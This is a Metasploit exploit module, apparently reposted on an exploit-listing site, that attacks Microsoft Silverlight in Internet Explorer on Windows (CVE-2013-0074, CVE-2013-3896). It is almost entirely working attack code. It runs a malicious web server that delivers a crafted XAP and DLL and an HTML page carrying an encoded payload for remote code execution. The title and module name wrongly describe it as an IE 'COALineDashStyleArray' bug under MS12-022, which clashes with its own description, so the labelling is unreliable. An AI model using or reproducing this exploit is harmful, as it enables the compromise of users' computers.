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Microsoft Internet Explorer COALineDashStyleArray Unsafe Memory Access
Author
Risk
[Security Risk High
]0day-ID
Category
Date add
CVE
Platform
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::BrowserExploitServer
MANIFEST = <<-EOS
<Deployment xmlns="http://schemas.microsoft.com/client/2007/deployment" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" EntryPointAssembly="SilverApp1" EntryPointType="SilverApp1.App" RuntimeVersion="4.0.50826.0">
<Deployment.Parts>
<AssemblyPart x:Name="SilverApp1" Source="SilverApp1.dll" />
</Deployment.Parts>
</Deployment>
EOS
def initialize(info={})
super(update_info(info,
'Name' => "MS12-022 Microsoft Internet Explorer COALineDashStyleArray Unsafe Memory Access",
'Description' => %q{
This module exploits a vulnerability on Microsoft Silverlight. The vulnerability exists on
the Initialize() method from System.Windows.Browser.ScriptObject, which access memory in an
unsafe manner. Since it is accessible for untrusted code (user controlled) it's possible
to dereference arbitrary memory which easily leverages to arbitrary code execution. In order
to bypass DEP/ASLR a second vulnerability is used, in the public WriteableBitmap class
from System.Windows.dll. This module has been tested successfully on IE6 - IE10, Windows XP
SP3 / Windows 7 SP1 on both x32 and x64 architectures.
},
'License' => MSF_LICENSE,
'Author' =>
[
'James Forshaw', # RCE Vulnerability discovery
'Vitaliy Toropov', # Info Leak discovery, original exploit, all the hard work
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-0074' ],
[ 'CVE', '2013-3896' ],
[ 'OSVDB', '91147' ],
[ 'OSVDB', '98223' ],
[ 'BID', '58327' ],
[ 'BID', '62793' ],
[ 'MSB', 'MS13-022' ],
[ 'MSB', 'MS13-087' ],
[ 'URL', 'http://packetstormsecurity.com/files/123731/' ]
],
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f',
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X86_64],
'BrowserRequirements' =>
{
:source => /script|headers/i,
:os_name => Msf::OperatingSystems::WINDOWS,
:ua_name => Msf::HttpClients::IE
},
'Targets' =>
[
[ 'Windows x86',
{
'arch' => ARCH_X86
}
],
[ 'Windows x64',
{
'arch' => ARCH_X86_64
}
]
],
'Privileged' => false,
'DisclosureDate' => "Mar 12 2013",
'DefaultTarget' => 0))
end
def setup
@xap_name = "#{rand_text_alpha(5 + rand(5))}.xap"
@dll_name = "#{rand_text_alpha(5 + rand(5))}.dll"
File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2013-0074", "SilverApp1.xap" ), "rb") { |f| @xap = f.read }
File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2013-0074", "SilverApp1.dll" ), "rb") { |f| @dll = f.read }
@xaml = MANIFEST.gsub(/SilverApp1\.dll/, @dll_name)
super
end
def exploit_template(cli, target_info)
my_payload = get_payload(cli, target_info)
# Align to 4 bytes the x86 payload
if target_info[:arch] == ARCH_X86
while my_payload.length % 4 != 0
my_payload = "\x90" + my_payload
end
end
my_payload = Rex::Text.encode_base64(my_payload)
html_template = <<-EOF
<html>
<!-- saved from url=(0014)about:internet -->
<head>
<title>Silverlight Application</title>
<style type="text/css">
html, body { height: 100%; overflow: auto; }
body { padding: 0; margin: 0; }
#form1 { height: 99%; }
#silverlightControlHost { text-align:center; }
</style>
</head>
<body>
<form id="form1" runat="server" >
<div id="silverlightControlHost">
<object data="data:application/x-silverlight-2," type="application/x-silverlight-2" width="100%" height="100%">
<param name="source" value="<%= @xap_name %>"/>
<param name="background" value="white" />
<param name="InitParams" value="payload=<%= my_payload %>" />
</object>
</div>
</form>
</body>
</html>
EOF
return html_template, binding()
end
def on_request_exploit(cli, request, target_info)
print_status("request: #{request.uri}")
if request.uri =~ /#{@xap_name}$/
print_status("Sending XAP...")
send_response(cli, @xap, { 'Content-Type' => 'application/x-silverlight-2', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache' })
elsif request.uri =~ /#{@dll_name}$/
print_status("Sending DLL...")
send_response(cli, @dll, { 'Content-Type' => 'application/octect-stream', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache' })
elsif request.uri =~ /AppManifest.xaml$/
print_status("Sending XAML...")
send_response(cli, @xaml, { 'Content-Type' => 'text/xaml', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache' })
else
print_status("Sending HTML...")
send_exploit_html(cli, exploit_template(cli, target_info))
end
end
end
# 0day.today [2024-12-24] #